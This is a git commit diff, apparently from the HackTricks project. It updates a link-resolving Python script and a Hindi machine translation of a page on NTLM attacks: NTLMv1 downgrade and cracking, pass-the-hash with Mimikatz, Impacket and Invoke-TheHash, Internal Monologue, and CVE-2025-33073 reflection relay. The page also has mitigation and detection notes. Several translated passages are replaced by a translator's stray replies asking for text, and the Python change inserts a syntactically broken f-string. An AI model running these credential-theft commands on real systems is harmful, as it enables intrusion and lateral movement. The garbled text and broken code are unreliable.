Translated ['src/windows-hardening/ntlm/README.md'] to hi

This commit is contained in:
Translator 2025-07-18 13:37:51 +00:00
parent 2f8f19ef05
commit b2f3db1cd6
2 changed files with 37 additions and 36 deletions

View File

@ -50,6 +50,7 @@ def ref(matchobj):
pass #nDont stop on broken link
else:
try:
href = href.replace("`", "") # Prevent hrefs like: ../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
@ -74,7 +75,7 @@ def ref(matchobj):
logger.debug(f'Recursive title search result: {chapter["name"]}')
except Exception as e:
logger.debug(e)
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,Error getting chapter title))}')
sys.exit(1)

View File

@ -4,7 +4,7 @@
## Basic Information
उन वातावरणों में जहाँ **Windows XP और Server 2003** का संचालन हो रहा है, LM (Lan Manager) हैश का उपयोग किया जाता है, हालाँकि यह व्यापक रूप से माना जाता है कि इन्हें आसानी से समझौता किया जा सकता है। एक विशेष LM हैश, `AAD3B435B51404EEAAD3B435B51404EE`, एक ऐसे परिदृश्य को दर्शाता है जहाँ LM का उपयोग नहीं किया गया है, जो एक खाली स्ट्रिंग के लिए हैश का प्रतिनिधित्व करता है।
उन वातावरणों में जहाँ **Windows XP और Server 2003** का संचालन हो रहा है, LM (Lan Manager) हैश का उपयोग किया जाता है, हालाँकि यह व्यापक रूप से मान्यता प्राप्त है कि इन्हें आसानी से समझौता किया जा सकता है। एक विशेष LM हैश, `AAD3B435B51404EEAAD3B435B51404EE`, एक ऐसे परिदृश्य को दर्शाता है जहाँ LM का उपयोग नहीं किया गया है, जो एक खाली स्ट्रिंग के लिए हैश का प्रतिनिधित्व करता है।
डिफ़ॉल्ट रूप से, **Kerberos** प्रमाणीकरण प्रोटोकॉल मुख्य विधि है जो उपयोग की जाती है। NTLM (NT LAN Manager) कुछ विशेष परिस्थितियों में कदम रखता है: Active Directory की अनुपस्थिति, डोमेन का अस्तित्व न होना, गलत कॉन्फ़िगरेशन के कारण Kerberos का खराब काम करना, या जब कनेक्शन एक IP पते का उपयोग करके स्थापित करने का प्रयास किया जाता है बजाय एक मान्य होस्टनेम के।
@ -15,9 +15,9 @@
**मुख्य बिंदु**:
- LM हैश कमजोर होते हैं और एक खाली LM हैश (`AAD3B435B51404EEAAD3B435B51404EE`) इसके न उपयोग का संकेत देता है।
- Kerberos डिफ़ॉल्ट प्रमाणीकरण विधि है, NTLM केवल कुछ शर्तों के तहत उपयोग किया जाता है।
- Kerberos डिफ़ॉल्ट प्रमाणीकरण विधि है, NTLM केवल कुछ विशेष परिस्थितियों में उपयोग किया जाता है।
- NTLM प्रमाणीकरण पैकेट "NTLMSSP" हेडर द्वारा पहचाने जा सकते हैं।
- LM, NTLMv1, और NTLMv2 प्रोटोकॉल सिस्टम फ़ाइल `msv1\_0.dll` द्वारा समर्थित हैं
- LM, NTLMv1, और NTLMv2 प्रोटोकॉल का समर्थन सिस्टम फ़ाइल `msv1\_0.dll` द्वारा किया जाता है
## LM, NTLMv1 और NTLMv2
@ -51,13 +51,13 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
3. **सर्वर** **चुनौती** भेजता है
4. **क्लाइंट** **चुनौती** को पासवर्ड के हैश का उपयोग करके एन्क्रिप्ट करता है और इसे प्रतिक्रिया के रूप में भेजता है
5. **सर्वर** **डोमेन नियंत्रक** को **डोमेन नाम, उपयोगकर्ता नाम, चुनौती और प्रतिक्रिया** भेजता है। यदि कोई सक्रिय निर्देशिका कॉन्फ़िगर नहीं है या डोमेन नाम सर्वर का नाम है, तो प्रमाण-पत्र **स्थानीय रूप से जांचे जाते हैं**
6. **डोमेन नियंत्रक यह जांचता है कि सब कुछ सही है** और जानकारी को सर्वर को भेजता है
6. **डोमेन नियंत्रक** जांचता है कि सब कुछ सही है और जानकारी सर्वर को भेजता है
**सर्वर** और **डोमेन नियंत्रक** **नेटलॉगन** सर्वर के माध्यम से एक **सुरक्षित चैनल** बनाने में सक्षम हैं क्योंकि डोमेन नियंत्रक सर्वर का पासवर्ड जानता है (यह **NTDS.DIT** डेटाबेस के अंदर है)।
**सर्वर** और **डोमेन नियंत्रक** **नेटलॉगन** सर्वर के माध्यम से एक **सुरक्षित चैनल** बनाने में सक्षम हैं क्योंकि डोमेन नियंत्रक सर्वर का पासवर्ड जानता है (यह **NTDS.DIT** db के अंदर है)।
### Local NTLM authentication Scheme
प्रमाणीकरण जैसा कि पहले उल्लेख किया गया है, लेकिन **सर्वर** **SAM** फ़ाइल के अंदर प्रमाणित करने की कोशिश कर रहे **उपयोगकर्ता** के **हैश** को जानता है। इसलिए, डोमेन नियंत्रक से पूछने के बजाय, **सर्वर स्वयं जांच करेगा** कि क्या उपयोगकर्ता प्रमाणित हो सकता है।
प्रमाणीकरण वही है जैसा कि **पहले उल्लेख किया गया था लेकिन** **सर्वर** **यूजर** के **हैश** को **SAM** फ़ाइल के अंदर जानता है। इसलिए, डोमेन नियंत्रक से पूछने के बजाय, **सर्वर स्वयं जांचेगा** कि क्या उपयोगकर्ता प्रमाणीकरण कर सकता है।
### NTLMv1 Challenge
@ -68,30 +68,30 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE
**समस्याएँ**:
- **यादृच्छिकता** की कमी
- 3 भागों को **अलग से हमला** किया जा सकता है ताकि NT हैश को खोजा जा सके
- 3 भागों को **अलग-अलग हमला** किया जा सकता है ताकि NT हैश पाया जा सके
- **DES को क्रैक किया जा सकता है**
- 3º कुंजी हमेशा **5 शून्य** से बनी होती है।
- दिए गए **एक ही चुनौती** पर **प्रतिक्रिया** **एक समान** होगी। इसलिए, आप पीड़ित को **"1122334455667788"** स्ट्रिंग के रूप में **चुनौती** दे सकते हैं और **पूर्व-निर्मित रेनबो टेबल्स** का उपयोग करके प्रतिक्रिया पर हमला कर सकते हैं।
- दिए गए **एक ही चुनौती** पर **प्रतिक्रिया** **एक जैसी** होगी। इसलिए, आप पीड़ित को **"1122334455667788"** स्ट्रिंग के रूप में **चुनौती** दे सकते हैं और **पूर्व-निर्मित रेनबो टेबल्स** का उपयोग करके प्रतिक्रिया पर हमला कर सकते हैं।
### NTLMv1 attack
आजकल बिना सीमित प्रतिनिधित्व के साथ वातावरण पाना कम सामान्य होता जा रहा है, लेकिन इसका मतलब यह नहीं है कि आप **प्रिंट स्पूलर सेवा** का दुरुपयोग नहीं कर सकते।
आजकल बिना सीमित प्रतिनिधित्व के साथ वातावरण पाना कम सामान्य होता जा रहा है, लेकिन इसका मतलब यह नहीं है कि आप **प्रिंट स्पूलर सेवा** का **दुरुपयोग** नहीं कर सकते।
आप AD पर पहले से मौजूद कुछ प्रमाण-पत्र/सत्रों का दुरुपयोग कर सकते हैं ताकि **प्रिंटर से कुछ **होस्ट के खिलाफ प्रमाणित करने के लिए** कहा जा सके जो आपके नियंत्रण में है। फिर, `metasploit auxiliary/server/capture/smb` या `responder` का उपयोग करके आप **प्रमाणीकरण चुनौती को 1122334455667788** पर सेट कर सकते हैं, प्रमाणीकरण प्रयास को कैप्चर कर सकते हैं, और यदि यह **NTLMv1** का उपयोग करके किया गया था तो आप इसे **क्रैक** कर सकेंगे।\
यदि आप `responder` का उपयोग कर रहे हैं तो आप **`--lm` ध्वज का उपयोग करने** का प्रयास कर सकते हैं ताकि **प्रमाणीकरण को डाउनग्रेड** किया जा सके।\
आप AD पर पहले से मौजूद कुछ प्रमाण-पत्र/सत्रों का **दुरुपयोग** कर सकते हैं ताकि **प्रिंटर से किसी ऐसे होस्ट के खिलाफ प्रमाणीकरण करने के लिए कहें जो आपके नियंत्रण में है**। फिर, `metasploit auxiliary/server/capture/smb` या `responder` का उपयोग करके आप **प्रमाणीकरण चुनौती को 1122334455667788** पर सेट कर सकते हैं, प्रमाणीकरण प्रयास को कैप्चर कर सकते हैं, और यदि यह **NTLMv1** का उपयोग करके किया गया था तो आप इसे **क्रैक** कर सकेंगे।\
यदि आप `responder` का उपयोग कर रहे हैं तो आप **`--lm` ध्वज का उपयोग करने की कोशिश कर सकते हैं** ताकि **प्रमाणीकरण** को **कम किया जा सके**।\
_ध्यान दें कि इस तकनीक के लिए प्रमाणीकरण NTLMv1 का उपयोग करके किया जाना चाहिए (NTLMv2 मान्य नहीं है)।_
याद रखें कि प्रिंटर प्रमाणीकरण के दौरान कंप्यूटर खाते का उपयोग करेगा, और कंप्यूटर खाते **लंबे और यादृच्छिक पासवर्ड** का उपयोग करते हैं जिन्हें आप **सामान्य शब्दकोशों** का उपयोग करके **क्रैक** नहीं कर पाएंगे। लेकिन **NTLMv1** प्रमाणीकरण **DES** का उपयोग करता है ([more info here](#ntlmv1-challenge)), इसलिए DES को क्रैक करने के लिए विशेष रूप से समर्पित कुछ सेवाओं का उपयोग करके आप इसे क्रैक कर सकेंगे (आप उदाहरण के लिए [https://crack.sh/](https://crack.sh) या [https://ntlmv1.com/](https://ntlmv1.com) का उपयोग कर सकते हैं)।
याद रखें कि प्रिंटर प्रमाणीकरण के दौरान कंप्यूटर खाते का उपयोग करेगा, और कंप्यूटर खाते **लंबे और यादृच्छिक पासवर्ड** का उपयोग करते हैं जिन्हें आप **संभवतः सामान्य **शब्दकोशों** का उपयोग करके क्रैक नहीं कर पाएंगे। लेकिन **NTLMv1** प्रमाणीकरण **DES** का उपयोग करता है ([more info here](#ntlmv1-challenge)), इसलिए DES को क्रैक करने के लिए विशेष रूप से समर्पित कुछ सेवाओं का उपयोग करके आप इसे क्रैक कर सकेंगे (आप उदाहरण के लिए [https://crack.sh/](https://crack.sh) या [https://ntlmv1.com/](https://ntlmv1.com) का उपयोग कर सकते हैं)।
### NTLMv1 attack with hashcat
NTLMv1 को NTLMv1 मल्टी टूल [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) के साथ भी तोड़ा जा सकता है जो NTLMv1 संदेशों को एक विधि में प्रारूपित करता है जिसे हैशकैट के साथ तोड़ा जा सकता है।
NTLMv1 को NTLMv1 मल्टी टूल [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) के साथ भी तोड़ा जा सकता है जो NTLMv1 संदेशों को एक ऐसे तरीके में प्रारूपित करता है जिसे हैशकैट के साथ तोड़ा जा सकता है।
The command
```bash
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
```
Please provide the content you would like me to translate.
Please provide the text you would like me to translate.
```bash
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
@ -143,13 +143,13 @@ b4b9b02e6f09a9 # this is part 1
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2
```
It seems that you haven't provided the text you want to be translated. Please share the relevant English text, and I'll translate it to Hindi as per your instructions.
I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like me to translate.
```bash
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
586c # this is the last part
```
Please provide the text you would like me to translate.
Please provide the text you would like me to translate to Hindi.
```bash
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```
@ -157,7 +157,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
**चुनौती की लंबाई 8 बाइट है** और **2 प्रतिक्रियाएँ भेजी जाती हैं**: एक **24 बाइट** लंबी है और **दूसरी** की लंबाई **परिवर्तनीय** है।
**पहली प्रतिक्रिया** को **HMAC_MD5** का उपयोग करके **क्लाइंट और डोमेन** द्वारा बनाई गई **स्ट्रिंग** को सिफर करके बनाया जाता है और **NT हैश** के **हैश MD4** को **की** के रूप में उपयोग किया जाता है। फिर, **परिणाम** को **चुनौती** को सिफर करने के लिए **HMAC_MD5** का उपयोग करने के लिए **की** के रूप में उपयोग किया जाएगा। इसके लिए, **8 बाइट की क्लाइंट चुनौती जोड़ी जाएगी**। कुल: 24 B।
**पहली प्रतिक्रिया** को **HMAC_MD5** का उपयोग करके **क्लाइंट और डोमेन** द्वारा निर्मित **स्ट्रिंग** को सिफर करके बनाया जाता है और **NT हैश** के **हैश MD4** को **की** के रूप में उपयोग किया जाता है। फिर, **परिणाम** को **चुनौती** को सिफर करने के लिए **HMAC_MD5** का उपयोग करने के लिए **की** के रूप में उपयोग किया जाएगा। इसके लिए, **8 बाइट की क्लाइंट चुनौती जोड़ी जाएगी**। कुल: 24 B।
**दूसरी प्रतिक्रिया** को **कई मानों** (एक नई क्लाइंट चुनौती, **टाइमस्टैम्प** ताकि **रिप्ले हमलों** से बचा जा सके...) का उपयोग करके बनाया जाता है।
@ -166,7 +166,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
## Pass-the-Hash
**एक बार जब आपके पास पीड़ित का हैश हो**, तो आप इसका **प्रतिनिधित्व** करने के लिए इसका उपयोग कर सकते हैं।\
आपको एक **उपकरण** का उपयोग करने की आवश्यकता है जो उस **हैश** का उपयोग करके **NTLM प्रमाणीकरण करेगा**, **या** आप एक नया **सत्रलॉगिन** बना सकते हैं और उस **हैश** को **LSASS** के अंदर **इंजेक्ट** कर सकते हैं, ताकि जब भी कोई **NTLM प्रमाणीकरण किया जाए**, वह **हैश का उपयोग किया जाएगा।** अंतिम विकल्प वही है जो मिमिकैट्ज़ करता है।
आपको एक **उपकरण** का उपयोग करने की आवश्यकता है जो उस **हैश** का उपयोग करके **NTLM प्रमाणीकरण करेगा**, **या** आप एक नया **सत्रलॉगन** बना सकते हैं और उस **हैश** को **LSASS** के अंदर **इंजेक्ट** कर सकते हैं, ताकि जब भी कोई **NTLM प्रमाणीकरण किया जाए**, वह **हैश का उपयोग किया जाएगा।** अंतिम विकल्प वही है जो मिमिकैट्ज़ करता है।
**कृपया याद रखें कि आप कंप्यूटर खातों का उपयोग करके भी पास-थे-हैश हमले कर सकते हैं।**
@ -176,7 +176,7 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c
```bash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
```
यह एक प्रक्रिया शुरू करेगा जो उन उपयोगकर्ताओं से संबंधित होगी जिन्होंने mimikatz लॉन्च किया है, लेकिन LSASS के अंदर, सहेजे गए क्रेडेंशियल्स वही हैं जो mimikatz पैरामीटर के अंदर हैं। फिर, आप नेटवर्क संसाधनों तक उस उपयोगकर्ता के रूप में पहुंच सकते हैं (जैसे `runas /netonly` ट्रिक, लेकिन आपको स्पष्ट पाठ पासवर्ड जानने की आवश्यकता नहीं है)।
यह एक प्रक्रिया शुरू करेगा जो उन उपयोगकर्ताओं से संबंधित होगी जिन्होंने mimikatz लॉन्च किया है, लेकिन आंतरिक रूप से LSASS में सहेजे गए क्रेडेंशियल्स वही हैं जो mimikatz पैरामीटर के अंदर हैं। फिर, आप नेटवर्क संसाधनों तक उस उपयोगकर्ता के रूप में पहुंच सकते हैं (जैसे `runas /netonly` ट्रिक, लेकिन आपको स्पष्ट पाठ पासवर्ड जानने की आवश्यकता नहीं है)।
### Linux से Pass-the-Hash
@ -190,7 +190,7 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm
- **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local`
- **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local`
- **atexec.exe** (इस मामले में आपको एक कमांड निर्दिष्ट करने की आवश्यकता है, cmd.exe और powershell.exe इंटरैक्टिव शेल प्राप्त करने के लिए मान्य नहीं हैं)`C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'`
- कई और Impacket बाइनरी हैं...
- और भी कई Impacket बाइनरी हैं...
### Invoke-TheHash
@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
```
#### Invoke-TheHash
यह फ़ंक्शन **अन्य सभी का मिश्रण** है। आप **कई होस्ट** पास कर सकते हैं, **कुछ को बाहर** कर सकते हैं और आप जिस **विकल्प** का उपयोग करना चाहते हैं उसे **चुन सकते हैं** (_SMBExec, WMIExec, SMBClient, SMBEnum_)। यदि आप **SMBExec** और **WMIExec** में से **कोई भी** चुनते हैं लेकिन आप कोई _**Command**_ पैरामीटर नहीं देते हैं, तो यह बस **जांच करेगा** कि क्या आपके पास **पर्याप्त अनुमतियाँ** हैं।
यह फ़ंक्शन **अन्य सभी का मिश्रण** है। आप **कई होस्ट** पास कर सकते हैं, **कुछ को बाहर** कर सकते हैं और आप जिस **विकल्प** का उपयोग करना चाहते हैं उसे **चुन सकते हैं** (_SMBExec, WMIExec, SMBClient, SMBEnum_)। यदि आप **SMBExec** और **WMIExec** में से **कोई भी** चुनते हैं लेकिन आप कोई _**Command**_ पैरामीटर नहीं देते हैं, तो यह बस **जांच** करेगा कि क्या आपके पास **पर्याप्त अनुमतियाँ** हैं।
```
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
```
@ -234,42 +234,42 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
../lateral-movement/
{{#endref}}
## विंडोज होस्ट से क्रेडेंशियल निकालना
## एक विंडोज होस्ट से क्रेडेंशियल निकालना
**अधिक जानकारी के लि** [**ैसे विंडोज होस्ट से क्रेडेंशियल प्राप्त करें, आपको यह पृष्ठ पढ़ना चाहिए**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.**
**एक विंडोज होस्ट से क्रेडेंशियल प्राप्त करने के बारे में अधिक जानकारी के लिए आपको** [**यह पृष्ठ पढ़ना चाहिए**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)****
## आंतरिक मोनोलॉग हमला
आंतरिक मोनोलॉग हमला एक छिपा हुआ क्रेडेंशियल निकालने की तकनीक है जो हमलावर को पीड़ित की मशीन से NTLM हैश को **LSASS प्रक्रिया के साथ सीधे इंटरैक्ट किए बिना** पुनः प्राप्त करने की अनुमति देती है। Mimikatz के विपरीत, जो हैश को सीधे मेमोरी से पढ़ता है और अक्सर एंडपॉइंट सुरक्षा समाधानों या क्रेडेंशियल गार्ड द्वारा अवरुद्ध होता है, यह हमला **सुरक्षा समर्थन प्रदाता इंटरफेस (SSPI) के माध्यम से NTLM प्रमाणीकरण पैकेज (MSV1_0) के लिए स्थानीय कॉल का लाभ उठाता है**। हमलावर पहले **NTLM सेटिंग्स को डाउनग्रेड करता है** (जैसे, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) यह सुनिश्चित करने के लिए कि NetNTLMv1 की अनुमति है। फिर वे चल रहे प्रक्रियाओं से प्राप्त मौजूदा उपयोगकर्ता टोकनों का अनुकरण करते हैं और स्थानीय रूप से NTLM प्रमाणीकरण को ट्रिगर करते हैं ताकि ज्ञात चुनौती का उपयोग करके NetNTLMv1 प्रतिक्रियाएँ उत्पन्न की जा सकें।
आंतरिक मोनोलॉग हमला एक छिपा हुआ क्रेडेंशियल निकालने की तकनीक है जो हमलावर को एक पीड़ित की मशीन से NTLM हैश प्राप्त करने की अनुमति देती है **बिना LSASS प्रक्रिया के साथ सीधे इंटरैक्ट किए**। Mimikatz के विपरीत, जो हैश को सीधे मेमोरी से पढ़ता है और अक्सर एंडपॉइंट सुरक्षा समाधानों या क्रेडेंशियल गार्ड द्वारा अवरुद्ध होता है, यह हमला **सुरक्षा समर्थन प्रदाता इंटरफेस (SSPI) के माध्यम से NTLM प्रमाणीकरण पैकेज (MSV1_0) के लिए स्थानीय कॉल का उपयोग करता है**। हमलावर पहले **NTLM सेटिंग्स को डाउनग्रेड करता है** (जैसे, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) यह सुनिश्चित करने के लिए कि NetNTLMv1 की अनुमति है। फिर वे चल रहे प्रक्रियाओं से प्राप्त मौजूदा उपयोगकर्ता टोकनों का अनुकरण करते हैं और एक ज्ञात चुनौती का उपयोग करके स्थानीय रूप से NTLM प्रमाणीकरण को ट्रिगर करते हैं ताकि NetNTLMv1 प्रतिक्रियाएँ उत्पन्न की जा सकें।
इन NetNTLMv1 प्रतिक्रियाओं को कैप्चर करने के बाद, हमलावर **पूर्व-गणना किए गए रेनबो टेबल्स** का उपयोग करके मूल NTLM हैश को जल्दी से पुन प्राप्त कर सकता है, जिससे पार्श्व आंदोलन के लिए आगे के पास-दी-हैश हमलों की अनुमति मिलती है। महत्वपूर्ण रूप से, आंतरिक मोनोलॉग हमला छिपा रहता है क्योंकि यह नेटवर्क ट्रैफ़िक उत्पन्न नहीं करता, कोड इंजेक्ट नहीं करता, या सीधे मेमोरी डंप को ट्रिगर नहीं करता, जिससे इसे पारंपरिक तरीकों जैसे Mimikatz की तुलना में पहचानना कठिन हो जाता है।
इन NetNTLMv1 प्रतिक्रियाओं को कैप्चर करने के बाद, हमलावर **पूर्व-गणना किए गए रेनबो टेबल्स** का उपयोग करके मूल NTLM हैश को जल्दी से पुनर्प्राप्त कर सकता है, जिससे पार्श्व आंदोलन के लिए आगे के पास-दी-हैश हमलों की अनुमति मिलती है। महत्वपूर्ण रूप से, आंतरिक मोनोलॉग हमला छिपा रहता है क्योंकि यह नेटवर्क ट्रैफ़िक उत्पन्न नहीं करता, कोड इंजेक्ट नहीं करता, या सीधे मेमोरी डंप को ट्रिगर नहीं करता, जिससे इसे पारंपरिक तरीकों जैसे Mimikatz की तुलना में पहचानना कठिन हो जाता है।
यदि NetNTLMv1 को स्वीकार नहीं किया जाता है—कड़े सुरक्षा नीतियों के कारण, तो हमलावर NetNTLMv1 प्रतिक्रिया प्राप्त करने में विफल हो सकता है।
यदि NetNTLMv1 को स्वीकार नहीं किया जाता है—क्योंकि सुरक्षा नीतियों को लागू किया गया है, तो हमलावर NetNTLMv1 प्रतिक्रिया प्राप्त करने में विफल हो सकता है।
इस मामले को संभालने के लिए, आंतरिक मोनोलॉग उपकरण को अपडेट किया गया: यह `AcceptSecurityContext()` का उपयोग करके एक सर्वर टोकन को गतिशील रूप से अधिग्रहित करता है ताकि यदि NetNTLMv1 विफल हो जाए तो **NetNTLMv2 प्रतिक्रियाएँ कैप्चर** की जा सकें। जबकि NetNTLMv2 को क्रैक करना बहुत कठिन है, यह अभी भी सीमित मामलों में रिले हमलों या ऑफ़लाइन ब्रूट-फोर्स के लिए एक मार्ग खोलता है।
इस मामले को संभालने के लिए, आंतरिक मोनोलॉग उपकरण को अपडेट किया गया: यह `AcceptSecurityContext()` का उपयोग करके एक सर्वर टोकन को गतिशील रूप से अधिग्रहित करता है ताकि यदि NetNTLMv1 विफल हो जाए तो **NetNTLMv2 प्रतिक्रियाएँ कैप्चर की जा सकें**। जबकि NetNTLMv2 को क्रैक करना बहुत कठिन है, यह अभी भी सीमित मामलों में रिले हमलों या ऑफ़लाइन ब्रूट-फोर्स के लिए एक मार्ग खोलता है।
PoC **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)** पर पाया जा सकता है।
## NTLM रिले और रिस्पॉन्डर
**इन हमलों को कैसे करना है, इस पर अधिक विस्तृत गाइड पढ़ें:**
**इन हमलों को कैसे करना है इस पर अधिक विस्तृत गाइड पढ़ें:**
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
## नेटवर्क कैप्चर से NTLM चुनौतियों को पार्स करना
**आप उपयोग कर सकते हैं** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
## NTLM और Kerberos *रिफ्लेक्शन* सीरियलाइज्ड SPNs (CVE-2025-33073) के माध्यम से
## NTLM & Kerberos *रिफ्लेक्शन* सीरियलाइज्ड SPNs (CVE-2025-33073) के माध्यम से
विंडोज में कई निवारण शामिल हैं जो *रिफ्लेक्शन* हमलों को रोकने की कोशिश करते हैं जहां एक NTLM (या Kerberos) प्रमाणीकरण जो एक होस्ट से उत्पन्न होता है, **उसी** होस्ट पर SYSTEM विशेषाधिकार प्राप्त करने के लिए वापस रिले किया जाता है।
विंडोज में कई उपाय हैं जो *रिफ्लेक्शन* हमलों को रोकने की कोशिश करते हैं जहां एक NTLM (या Kerberos) प्रमाणीकरण जो एक होस्ट से उत्पन्न होता है, **उसी** होस्ट पर SYSTEM विशेषाधिकार प्राप्त करने के लिए वापस रिले किया जाता है।
Microsoft ने MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) और बाद के पैच के साथ अधिकांश सार्वजनिक श्रृंखलाओं को तोड़ दिया, हालांकि **CVE-2025-33073** दिखाता है कि सुरक्षा उपायों को अभी भी **SMB क्लाइंट द्वारा सेवा प्रिंसिपल नामों (SPNs)** को ट्रंक करने के तरीके का दुरुपयोग करके बायपास किया जा सकता है जो *मार्शल्ड* (सीरियलाइज्ड) लक्ष्य-जानकारी को शामिल करते हैं।
### बग का TL;DR
1. एक हमलावर एक **DNS A-record** पंजीकृत करता है जिसका लेबल एक मार्शल्ड SPN को एन्कोड करता है जैसे
1. एक हमलावर एक **DNS A-रिकॉर्ड** पंजीकृत करता है जिसका लेबल एक मार्शल्ड SPN को एन्कोड करता है जैसे
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
2. पीड़ित को उस होस्टनाम (PetitPotam, DFSCoerce, आदि) पर प्रमाणीकरण करने के लिए मजबूर किया जाता है।
3. जब SMB क्लाइंट लक्ष्य स्ट्रिंग `cifs/srv11UWhRCAAAAA…` को `lsasrv!LsapCheckMarshalledTargetInfo` को पास करता है, तो `CredUnmarshalTargetInfo` को कॉल करने पर **सीरियलाइज्ड ब्लॉब को हटा दिया जाता है**, जिससे **`cifs/srv1`** बचता है।
@ -296,16 +296,16 @@ krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
```
### पैच और शमन
* **CVE-2025-33073** के लिए KB पैच `mrxsmb.sys::SmbCeCreateSrvCall` में एक जांच जोड़ता है जो किसी भी SMB कनेक्शन को ब्लॉक करता है जिसका लक्ष्य मार्शल की गई जानकारी ( `CredUnmarshalTargetInfo``STATUS_INVALID_PARAMETER` ) है।
* बिना पैच किए हुए होस्ट पर भी प्रतिबिंब को रोकने के लिए **SMB साइनिंग** को लागू करें।
* बिना पैच किए हुए होस्ट पर भी परावर्तन को रोकने के लिए **SMB साइनिंग** को लागू करें।
* `*<base64>...*` के समान DNS रिकॉर्ड की निगरानी करें और मजबूरी वेक्टर (PetitPotam, DFSCoerce, AuthIP...) को ब्लॉक करें।
### पहचान विचार
* `NTLMSSP_NEGOTIATE_LOCAL_CALL` के साथ नेटवर्क कैप्चर जहां क्लाइंट IP ≠ सर्वर IP।
* Kerberos AP-REQ जिसमें एक सबसत्र कुंजी और एक क्लाइंट प्रिंसिपल हो जो होस्टनेम के बराबर हो।
* Windows इवेंट 4624/4648 SYSTEM लॉगऑन जो तुरंत उसी होस्ट से दूरस्थ SMB लेखन के बाद आते हैं
* Windows इवेंट 4624/4648 SYSTEM लॉगऑन तुरंत उसी होस्ट से दूरस्थ SMB लेखन के बाद।
## संदर्भ
* [Synacktiv NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
* [NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
* [MSRC CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
{{#include ../../banners/hacktricks-training.md}}